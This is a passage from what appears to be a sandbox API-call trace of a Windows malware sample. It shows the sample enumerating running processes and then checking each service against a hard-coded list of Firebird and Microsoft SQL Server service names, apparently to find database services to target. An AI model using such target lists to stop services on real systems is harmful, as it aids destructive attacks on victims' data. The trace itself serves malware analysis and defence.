cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0035.773] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0035.773] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0035.773] lstrlenW (lpString="noticed.exe") returned 11 [0035.773] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0035.774] lstrlenW (lpString="uploaded.exe") returned 12 [0035.774] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0035.774] lstrlenW (lpString="hardware.exe") returned 12 [0035.774] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0035.774] lstrlenW (lpString="oracle.exe") returned 10 [0035.774] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0035.774] lstrlenW (lpString="creativity.exe") returned 14 [0035.775] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0035.775] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0035.775] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0035.775] lstrlenW (lpString="edited.exe") returned 10 [0035.775] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0035.775] lstrlenW (lpString="custody.exe") returned 11 [0035.775] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0035.776] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0035.776] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0035.776] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0035.776] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0035.776] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0035.776] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0035.776] lstrlenW (lpString="radius.exe") returned 10 [0035.776] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0035.777] lstrlenW (lpString="extensions.exe") returned 14 [0035.777] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0035.777] lstrlenW (lpString="desperate.exe") returned 13 [0035.777] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0035.777] lstrlenW (lpString="professor-mo.exe") returned 16 [0035.777] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0035.777] lstrlenW (lpString="guidance.exe") returned 12 [0035.778] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0035.778] lstrlenW (lpString="week.exe") returned 8 [0035.778] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0035.778] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0035.778] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0035.778] lstrlenW (lpString="sn featured.exe") returned 15 [0035.778] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0035.779] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0035.779] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0035.779] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0035.779] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0035.779] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0035.779] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0035.779] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0035.779] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0035.780] lstrlenW (lpString="mobsync.exe") returned 11 [0035.780] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0035.780] lstrlenW (lpString="dllhost.exe") returned 11 [0035.780] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0035.780] lstrlenW (lpString="cmd.exe") returned 7 [0035.780] Process32NextW (in: hSnapshot=0x2f4, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0035.780] CloseHandle (hObject=0x2f4) returned 1 [0035.781] Sleep (dwMilliseconds=0x1f4) [0036.782] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8069c8 [0036.782] EnumServicesStatusExW (in: hSCManager=0x8069c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0036.783] GetLastError () returned 0xea [0036.783] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x11e4) returned 0x329a7f0 [0036.783] EnumServicesStatusExW (in: hSCManager=0x8069c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x329a7f0, cbBufSize=0x11e4, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x329a7f0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0036.783] CloseServiceHandle (hSCObject=0x8069c8) returned 1 [0036.783] lstrlenW (lpString="Appinfo") returned 7 [0036.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0036.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0036.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0036.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0036.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0036.784] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0036.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0036.784] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0036.784] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0036.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0036.784] lstrlenW (lpString="AudioSrv") returned 8 [0036.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0036.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0036.784] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0036.784] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0036.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0036.784] lstrlenW (lpString="BFE") returned 3 [0036.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0036.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0036.784] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0036.784] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0036.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0036.784] lstrlenW (lpString="CryptSvc") returned 8 [0036.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0036.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0036.784] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0036.784] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0036.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0036.784] lstrlenW (lpString="CscService") returned 10 [0036.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0036.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0036.784] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0036.784] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0036.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0036.784] lstrlenW (lpString="DcomLaunch") returned 10 [0036.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0036.785] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0036.785] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0036.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0036.785] lstrlenW (lpString="Dhcp") returned 4 [0036.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0036.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0036.785] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0036.785] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0036.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0036.785] lstrlenW (lpString="Dnscache") returned 8 [0036.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0036.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0036.785] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0036.785] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0036.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0036.785] lstrlenW (lpString="DPS") returned 3 [0036.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0036.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0036.785] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0036.785] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0036.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0036.785] lstrlenW (lpString="eventlog") returned 8 [0036.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0036.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0036.785] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0036.785] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0036.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0036.785] lstrlenW (lpString="EventSystem") returned 11 [0036.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0036.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0036.785] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0036.785] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0036.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0036.785] lstrlenW (lpString="gpsvc") returned 5 [0036.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0036.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0036.786] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0036.786] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0036.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0036.786] lstrlenW (lpString="iphlpsvc") returned 8 [0036.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0036.786] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0036.786] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0036.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0036.786] lstrlenW (lpString="LanmanServer") returned 12 [0036.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0036.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0036.786] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0036.786] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0036.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0036.786] lstrlenW (lpString="LanmanWorkstation") returned 17 [0036.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0036.786] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0036.786] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0036.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0036.786] lstrlenW (lpString="lmhosts") returned 7 [0036.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0036.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0036.786] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0036.786] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0036.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0036.786] lstrlenW (lpString="MMCSS") returned 5 [0036.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0036.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0036.786] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0036.786] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0036.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0036.786] lstrlenW (lpString="MpsSvc") returned 6 [0036.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0036.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0036.787] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0036.787] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0036.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0036.787] lstrlenW (lpString="Netman") returned 6 [0036.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0036.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0036.787] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0036.787] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0036.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0036.787] lstrlenW (lpString="netprofm") returned 8 [0036.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0036.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0036.787] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0036.787] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0036.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0036.787] lstrlenW (lpString="NlaSvc") returned 6 [0036.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0036.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0036.787] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0036.787] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0036.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0036.787] lstrlenW (lpString="nsi") returned 3 [0036.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0036.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0036.787] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0036.787] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0036.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0036.787] lstrlenW (lpString="PcaSvc") returned 6 [0036.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0036.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0036.787] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0036.787] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0036.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0036.787] lstrlenW (lpString="PlugPlay") returned 8 [0036.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0036.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0036.788] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0036.788] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0036.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0036.788] lstrlenW (lpString="Power") returned 5 [0036.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0036.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0036.788] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0036.788] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0036.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0036.788] lstrlenW (lpString="ProfSvc") returned 7 [0036.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0036.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0036.788] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0036.788] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0036.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0036.788] lstrlenW (lpString="RpcEptMapper") returned 12 [0036.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0036.788] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0036.788] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0036.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0036.788] lstrlenW (lpString="RpcSs") returned 5 [0036.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0036.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0036.788] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0036.788] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0036.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0036.788] lstrlenW (lpString="SamSs") returned 5 [0036.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0036.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0036.788] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0036.788] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0036.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0036.788] lstrlenW (lpString="Schedule") returned 8 [0036.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0036.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0036.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0036.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0036.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0036.789] lstrlenW (lpString="SENS") returned 4 [0036.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0036.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0036.789] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0036.789] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0036.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 